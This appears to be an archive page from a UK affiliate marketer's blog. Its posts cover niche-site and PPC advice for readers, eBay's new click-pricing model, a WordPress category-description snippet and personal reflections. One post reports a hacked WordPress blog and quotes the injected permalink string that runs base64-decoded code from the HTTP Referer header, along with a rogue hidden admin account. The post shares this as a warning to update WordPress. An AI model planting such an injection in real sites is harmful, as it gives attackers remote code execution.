I had an e-mail from the lovely Nicola recently following up a previous plea for help with a note to let me know how she was going and to ask me to take a look at her new site and give her some thoughts.

Hi Kirsty

Well since I first emailed you I have got my first AM site up and running.  www.babychamtrainers.co.uk it has been up since 21st August
and I have made my first sale with a massive commision of 88pence, but still was very excited to see a sale and I’ve got to start
somewhere (won’t be giving up the day job just yet though).

I’m spending around £1.50 – £2.50 a day on ppc which seems to keep me at the top of google most of the time.

Any thoughts or suggestions would be appreciated.

Look forward to hearing from you.

Nicola

Hi Nicola,

That’s a really good niche site to hone your skills on for a first  effort.  I think too many people try to do a massive website about lots  of products and that ultimately slows down the learning process.

And congratulations on that first sale – it’s a bit of a buzz eh?!

I think you need to make your home page look a bit more like a merchant  product page, I think the “click to see products” text will increase the  number of people who land on the site and then leave immediately.

Here’s an example of a product landing page I’ve recently completed: -

http://www.personalisedgiftsuk.com/personalised-football-books/celtic-football-club-book/

(site is not quite finished yet, but you get the idea!)

I use pages like that a lot of the time and they have an excellent click  through rate.  I’m not suggesting that you have to come up with  something like that to make your site work – but a little bit of HTML  popped into the Wordpress framework can go a very long way!  If you can  work at getting good “calls to action” on your page that will encourage  people to click through to the merchant that will also help.  A nice  product picture, linked through to merchant with a bit of link text  beside or underneath that says Browse More Babycham Trainers >> will  also work.

Alternatively, Easy Content Units look great and can create a nice  professional looking product area.

http://www.easycontentunits.com/

I’d also start doing some posts about some of the product lines you’re  covering, describe what they are and why you think people would want to  buy them.  I tend to do this in my blog post titles and it works really  well for getting in free traffic.

For example: – Multicoloured Canvas Trainers by Babycham Footwear

Or

Black Trainers with Pink Laces by Babycham – Hot 80s Style

Or

Babycham Basic Strap Trainers – Cool Velcro Fastenings!

What content like that does is draw in traffic both from people who  already know they want to buy Babycham Trainers but also from people who  know they want shoes with Velcro fastenings.

If you can, do some link research or ask around in forums and see if you  can get some backlinks to help the site bring in some organic traffic.

I’d also get your side menu populated, as it’s currently looking a bit  bare.  The more navigation / information options you give your visitors  the better chance you have of converting to a sale.

Finally, change your home page title from Babychamtrainers.com to Buy
Babycham Trainers UK : Designer Trainers – or similar.   Your main
product title as all one word will weaken the SEO strength of the page.

One thing you have done that could cause you issues later is buying a  domain with a trademark in it.  I’ve known a few affiliates put a bit of  work into such domains only to have them whipped off them by the brand.  Some brands seem very worried about this whilst others don’t pay any  attention.

I hope this helps you in your affiliate efforts!

I got up this morning to find some of my URLs had been appended with: -

/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/

It would appear that the blog has been hacked by someone who registered as a subscriber using black hearted techniques I really don’t understand.  Fortunately for me my knight in shining armour came after a quick Google search  in the form of Andrew Wee who had suffered similar and has written a very thorough fix on his blog.

Read Andrew Wee’s Fix Here >>

Thanks Andrew, this one would have had us stumped.  I’ll be keeping a close eye on all my Wordpress blogs today.

My blog was running on a very old Wordpress version (lazy) so I’m not sure if this is something that’s already been fixed as part of previous version updates or not.  A good reminder that it is important to keep your WP version updated with new fixes!

*edit*

Just found this Wordpress Support Topic on the issue – it does indeed seem to be old versions that have been hacked so guys learn your lesson from this lazy affiliate marketer before it happens to your blog.  Update your Wordpress version now!!!

Also Jason suggested we check our SQL database for any admins that might have been added and sure enough when we checked, there was a spurious admin sitting in there and not visible in Wordpress!

An interesting Ask Kirsty this week from Patrick who has spent a fair bit of time recently setting up an affiliate site in a niche that is of strong interest to him.

Well i finally got my first website finished last week after accidentally stumbling upon the area of affiliate marketing a few months back and being hooked on it ever since. My first site is something small and of personal interest to me: – www.manchester-united-shirts.com

The site is simply selling the manchester united football kit in its various forms. Once it was finished i went to the add url section of google and submitted the site. After a few days it then appeared on google when i searched site:manchester-united-shirts.com. I also submitted an article on digg as i had heard that would also help with getting it indexed. My problem however is this; it doesn’t seem to appear on google when i do a search for any of the keywords, such as manchester united shirts, manchester united kit, or michael owen manchester united shirt. Its not even on page 20 or less! I haven’t tried ppc yet as i was hoping on getting some organic traffic first. I know i need to try and get some back links to my site so my question to you is this; why is the site not appearing on google for any of its keywords, and how can i get some decent backlinks?

Patrick then sent another mail saying…

I tried my hand at PPC as this was the obvious way of getting the site noticed for my chosen keywords. I achieved great success with this method as i made my first sale and had a click through rate of about 14%, with an even higher conversion rate. However, what became apparent was that although my ads and site converted well, the cost of getting traffic there in the first place, ie, the keyword cost, meant that i was only actually breaking even in terms of profit.

Thanks a lot for your time and keep up the hilarious yet informative blog posts. Kind regards, patrick.

Hey Patrick,

First off, congratulations on putting such a great looking site together.  I think it’s pretty good looking and would definately be attractive to Manchester United fans.

Why Isn’t Your Site Ranking?

Although your domain is keyword rich that is not going to be enough on its own to have your site ranking.  Hyphenated domains don’t seem to have the same strength as those without hyphens.  However, that needn’t stop you ranking for your desired search terms.  Going forward I’d suggest you do a bit of work trying to get some backlinks (which I’m assuming you already realise as you’ve also asked about that!).

You will need to put a bit of time and effort into getting your site where it needs to be.  With that in mind, I suggest that you try and add a little bit of Manchester United related content most days.  Being seen as a good information resource on the club and in particular their shirts and strips will help you no end.

I think the reason that you are not seeing much in the way of rankings is that there’s so much buzz around the club.  Do a search for “Michael Owen Manchester United Shirt” and the search results are absolutely stacked to the brim with authority sites.  I think to get traffic you will need to sit down and have a real brainstorm about some less competitive search terms that might bring in some traffic.

Avoid the big names like Owen and Rooney, perhaps try to concentrate on building some content around phrases that don’t mention names and topics all the newspapers are likely to be reporting on.  For example, if I were the owner of your site I’d write about: -

Manchester United retro shirts or Man U retro shirts

Manchester United 1977 shirt

Man U 1977 FA Cup Final shirt

If you take a gander at the search results for these terms you’ll see affiliate sites popping up here and there and not a lot in the way of your Daily Telegraph and Wikipedia type stuff.  Targeting the long tail when a site is new can bring in some much needed traffic and revenue early on.

How Can You Get Some Backlinks?

I think in this case the best thing to do would be to try and locate fan sites and perhaps other affiliate sites.  I’d start looking by making highly targeted product related searches like the ones above and looking at who was blogging about them and featuring them on their sites.  Drop them a line and ask if you can have a bit of an exchange, you could also widen this activity out to other teams.  Also, add a post to the A4U Link exchange thread and see if you can locate some people with sites relevant to yours.

Link building takes a lot of time and effort, but you’ll reap the rewards handsomely if you put some effort in.

Making PPC Work

I reckon that you need to be targeting the long tail.  Clearly your site does a good job of pre-converting if a good proportion of your visitors that actually got through to the merchant made a sale.  However, 14% of traffic getting through to merchant is a little too low.  This means your search terms are either too general or your landing page is rubbish (and I don’t believe its the latter).

On my own sites, I manage to push through around 80% of the traffic that hits my PPC landing pages to merchant.  Often more.  I do this by sending highly targeted traffic to highly targeted pages.  Of course this reply is largely guess work as I don’t know what keywords and products you are targeting.

I hope all this helps you out Patrick, and if anyone has anything to add that might help Patrick please do leave a comment as the more people we have talking about the Ask Kirsty’s the better resource this site will become.

Whaddya mean “you’re a bit early Kirsty!”.  My seasoned affiliate marketing chums will know exactly what I am on about – rejoice for it is September 1st and if you are an affiliate, Christmas is starting.  In fact, Christmas should probably already have started.

At the moment I have no less than 4 sites newly completed for Christmas trade and one big ‘un is well underway.  If you want to really make the most of your revenue opportunities this year you’d better damned well get those promotional skates on because Affiliate Christmas waits for no man.  Before you know it, it’ll all be over again and you won’t get another opportunity to experience the adrenaline rush of the silly season for another year.

If you have never experienced this joy – it can be a beautiful thing to behold.  I love it, although alas it does rather put me off shopping for gifts and my family tend to end up with gift certificates, any old DVD that was near the door in HMV or whatever Amazon has on special offer.

Ho ho ho everybody!!

Greetings copy and paste fans!  Here’s something I am messing around with this week – I want to see if I can get my categories to rank on one of my blogs.  The reason I’m trying to do this is that I’ve realised they have created a good shopping resource, gathering together hard to find products which I am reviewing and categorising as part of the broader content strategy on the site.

I have already found the categories ranking in a few different places without any input from me so I figure what the hell.  I won’t lose anything and I’ll only learn something!  With that in mind, i’ve decided to create some unique text in each one describing the type of products within them.

To Do This is A Simple Cut and Paste Job

1. Go to “Categories” which you will find located under “Posts”.

2. Add in your desired description in the appropriate box.  Basic HTML markup will work, so you can make your text look all nice

3. Locate the file controlling your categories – most likely archive.php

4. Pop this code in wherever you want your description to turn up: -

<?php $description=category_description(); echo $description;  ?>

And You’re Done!

I’ve popped mine in after the post and gone through the category page titles using my SEO plugin and given them a quick optimise as well.  I think I’m going to try to make the description a nice robost 250 to 300 words.  I’ll be interested to see if I get any additional traffic from this.  I’ve already fiddled around and created thumbnails of each post image contained within the category so in theory it should be an attractive page for users.

As always, I’ll let y’all know how I get on!

I had a very interesting chat with the lovely Julia Nisted yesterday.  She is one of the 5 strong team who runs the eBay affiliate programme throughout Europe in partnership with a variety of local agencies (including our very own R.O.EYE).

My apologies for being slow out of the blogging block on this, but I find it almost impossible to make any sense after 5pm these days.  Just ask anyone who has spoken to me on MSN in the Aussie evening!  The announcement that they are to scrap their current commission structure and introduce a shiny new CPC model was made at 1pm yesterday afternoon. Now, before you all dust off your ads for bizarre products such as used loo paper, fanny magnets, and blue bums (I have old screenshots to prove these existed), this is no ordinary CPC model.

Quality Click Pricing (Or QCP – affiliates do love a good abbreviation and eBay have obliged)

What is it & How is the CPC Defined? Understandably enough, eBay shan’t be making the exact nature of the algo used to determine click quality public.  However being an expert on just about everything (no sniggering at the back of class please!) I shall endeavour to explain.

In a nutshell the CPC eBay are prepared to pay will depend on traffic quality.  If your traffic brings in the goodies in the form of healthy sales and the provision of long term repeat customers, then you’ll get a higher CPC than people who simply scoop up every bit of random traffic they can find and shove it in eBay’s general direction.

In typical affiliate style my first question to Julia was, “So is this about eBay saving money on their affiliate programme?”  However, she assured me that this is, in fact, all about rewarding affiliates who drive good traffic and they hope it will ultimately result in eBay paying more out to them.  They don’t want to lose the affiliates driving “bad” traffic either – but they do want to encourage them to improve their traffic quality.

The new system will be implemented on 1st September 2009 so there’s plenty of time to get your heads around it.  You can read more about it on the eBay Partner Blog and also grab some handy tips on how to improve your traffic quality.

From My Point Of View…

It sounds like an incredibly positive change to the programme structure.  Regular blog readers will know I always view any change that asks affiliates to raise the bar as a good thing for the industry and the way affiliates are perceived.  To me, paying for the quality of traffic seems like a very fair way to apportion commission and it certainly makes eBay a more attractive affiliate proposition.

The changes seem incredibly innovative and it will be interesting to see how they develop!

As an aside… My year to date earnings for a niche site of mine on the eBay affiliate programme are a whopping £17.32 – however it may make an interesting case study later as it’s for a product / products that I know people in the UK can only purchase there.

So more from me on the changes and their effects later this year

I’ve not been getting many bona fide “Ask Kirsty’s” recently, was it something I said?!

I do get quite a lot of questions via mail, and I try to answer as many of them as possible (currently working through a backlog dating back to mid-july so please excuse me if you’ve mailed me and are hurt at my silence!).  However, recently the Ask Kirsty’s have slowed up considerably.

I know those people over at Affiliate Doctors are good and that they set lots of experts to answer your questions (including me!) but come on… I’m ever so nice and still fairly competent! I was here first too

So if you have a site you’d like me to review and you’re prepared to share the URL, give me a shout. You’ll even get a lovely link from this shiny PR4 blog for your troubles. Perhaps you have a burning question you’ve just not been able to find an answer to, or your site or PPC campaign has gone awry and you don’t know why?

Contact Me if you don’t mind everyone else sharing your woes and I’ll do my best to help!

Bit late with this one, we had some visitors last week and I didn’t have much time for blogging.  However, without further ado…

This is, in my opinion, just about the best occupation in the known universe and here’s my top ten reasons why!

1. No boss telling you what to do, no office politics because of what got said at the Christmas party, and definately, definately no blinking well commute to work.  Instead Kirsty is the boss, the only office politics is over how many cups of tea I’m allowed in a day and whether or not Duncan has been getting too much of our cats attention.  The commute to work?  Up 5 steps from the kitchen to the office and the work uniform is my trusty PJs!

2. Only working WHEN you want to. If I really don’t feel like working, I simply don’t.  On those days in life when I wake and discover I feel dreadful and can’t face the screen – I don’t.  “Today is a holiday”  I say.  And off Duncan and I trot to do something fun instead.

3. Only working ON WHAT you want to. Ahhh… this is a truly glorious aspect of our beautiful occupation.  I only set up projects that interest me.  If its boring, it’s not in my life. Hence I enjoy every second of my working day and get to immerse myself in promoting lots of really cool, weird, and wonderful things!

4. The Excitement. Every single day I wake up and I am immediately excited.  I’m still lying there with my eyes closed and already I am visualising myself up and in the office, tea in hand, stats on the screen and planning the day ahead.  It really is like Christmas each and every day and the gift is affiliate marketing!

5. Economy of Scale. One person really can create a business with a wonderful economy of scale.  You can set a project up, leave it running and maintain it in a few minutes a day freeing up more time to find the next income stream.  My new Australian accountant was absolutely blown away that one person could create so much turnover with so little in the way of manpower and resources.

6. The feeling of having found something I’m really “pretty good” at... All through my school days I was a good student, but just “average” and often struggled.  I excelled at nothing and failed at quite a few things.  Not a good feeling, as I really was trying very hard!  I now realise that structure and I don’t get along very well.  The more unstructured things are, the better I do!  The often bizarre world of SEO was right up my street, and as for affiliate marketing with all its bewildering twists and turns?  Well, I felt like I’d come home

7. The sense of achievement. Sometimes, when I sit back and regard what I’ve done with my life, I get a beautiful feeling of contentment.  All that I have done and acquired in life has come from the odd little nooks and crannies in my brain where affiliate niches are born.  This is not because I work for a company that has done well ergo I do well – it has all come from me.  It’s a lovely feeling of strength that boosts my self esteem and makes me feel incredibly comfortable in my own skin.  Also reassures me that having a slightly off the wall mindset is A-OK!

8. The people I can honestly say that the people I have met and befriended in this industry are and incredibly interesting and cool bunch.  Even without numbers 1 to 7 just meeting them and hanging out with them would have been a life enriching experience.

9. Hard work – yep, for some odd reason there really is nothing I enjoy more than knowing that I have worked incredibly hard for everything that I’ve done with my affiliate business.  A good day for me is one where I’ve crammed in as much work as humanly possible within the hours I’ve decided to work (note I’m not doing 18 hour days – that’s a different thing!!).  Working hard is a great feeling.  And being honest guys and gals there are very few affiliates who have not worked hard for their money at some stage – even if they’re saying they don’t work all that hard now.

10. Being smug – yes, we all have to feel smug sometimes, and as you’ll see from numbers 1 to 9 I’m indulging in it right now.  However,  I feel particularly smug when I wander through the streets of a big city and see all the well dressed office workers rushing to their daily grind.  I walk on, dressed in my usual clothes that constantly have me mistaken for a backpacker or student and ensure salespeople blank me in shopping malls – smiling my insufferably smug smile

*gasp* Shock horror murder polis!  Yes folks it’s time for one of my rare negative posts!  However, as the title suggests it does lend itself to a follow up post with 10 things I love about this industry so never fear, balance will be achieved in due course

1. Affiliate managers who contact me dead keen to “work more closely with you and build a great relationship” and immediately ask “is there anything we can do to help you?” Upon taking delivery of my modest request for bestsellers info and regular contact re: new products I promptly never, ever hear from them again!

2. People who are rude / sarcastic to newbie affiliates on forums in situations where they really don’t need to be.  What gives with that?

3. Merchants who re-jig their databases putting in place new cutting edge technology which will not only revolutionise your conversions but will break every single image and link you’ve ever previously created for them. They are then mysteriously unable to implement URL redirects and contact you wondering why your conversions have turned to poop and asking you to pull your jolly well socks up.

4. When you have to complete an online assault course and answer 5 fiendishly difficult riddles that’d make a sphinx go cross eyed and head on back home – just to get a deep link from a network (OK, I exaggerate but you know what I mean!)

5. Affiliate managers who schedule a conference call with you and then don’t listen to a word you are saying, constantly interrupting you to get their point over.  Look, if you mean you want to schedule a monologue call with me – just send a tape recording and I’ll swear at it at a more convenient time for me!

6. People from outside the industry thinking I’m a pornographer when I say I market things online.  I dread that knowing look and the “Ahh… I SEE.”

7. Still not being able to switch off from work sometimes.  For all that I harp on about how fab it is only working 4 days a week, I often make up most of that time when I “nip on” to the PC for a wee while “just to check things out” on evenings and weekends and leave Dunc sitting wondering where the hell I’ve gotten to.

8. Little known fact: – Affiliate Marketing causes time dilation.  Why else can I plan enough work in a single hour to last Duncan and I a bloody year?

9. The “I’ll make you rich if you buy my course for just $4,000″ brigade.  What a bunch of arseholes – they make us all look dishonest, rip off people who can least afford to lose money, and I for one sincerely wish painful bowel complaints and a host of embarrassing and smelly illnesses on the lot of them.

10. Meeting people at networking events who think I work for an agency.  Because I own a pair of boobs.

11. Being so far away from all my affiliate pals

Yeah OK, I know that’s 11 but the last one is just a moan not a real “hate”.

Anyone got some other affiliate marketing grudges they might like to air?

Hey there guys and gals, and greetings from your newly rejuvenated affiliate blogger.  On the weekends I usually spend a bit of time working out a couple of things that might be kinda fun to write about on here.  This weekend it didn’t happen and I thought I’d explain why!

You See Doctor, I’ve Been Feeling Kind of Rotten…

After developing no less than 4 sites recently and then having the flu, or “death lurgey” as I called it, I was feeling like my affiliate mojo had sort of deserted me.  I have 2 more new projects I need to start as well as keeping all of my sites fresh and updated and I just couldn’t get going properly.

So I Decided What I Needed Was… something diametrically opposed to the virtual world of affiliate marketing.  Yes, it is a creative discipline but in the end I was left feeling it was just nebulous and that perhaps there wasn’t much point to it all.  At this stage Duncan suggested an ambulance as I’d clearly lost my mind  – but I had a better idea.

Doing Something “Real”

I decided to spend 4 days with minimal internet time (one of my issues is I never take a break from long internet sessions – regardless of whether its my “day off” or not).

Without banging on too much about it, if you feel jaded I suggest taking a total break from the online world. Go and do something real to get it all in perspective.  My solution was to spend 4 days procuring and then distributing 8 cubic metres (half a tonne) of bark mulch on my front garden.

I started work again today and feel totally revitalised.  I was able to pick things right up and tie off loads of niggly loose ends. Tomorrow I start the next two projects and I feel great about it.  All it took was 4 days backbreaking garden labour, ha ha ha!

Try it

P.S.

Here Are Some Piccies Of My Endeavours… Welcome To Affiliate Gardening World

Before

After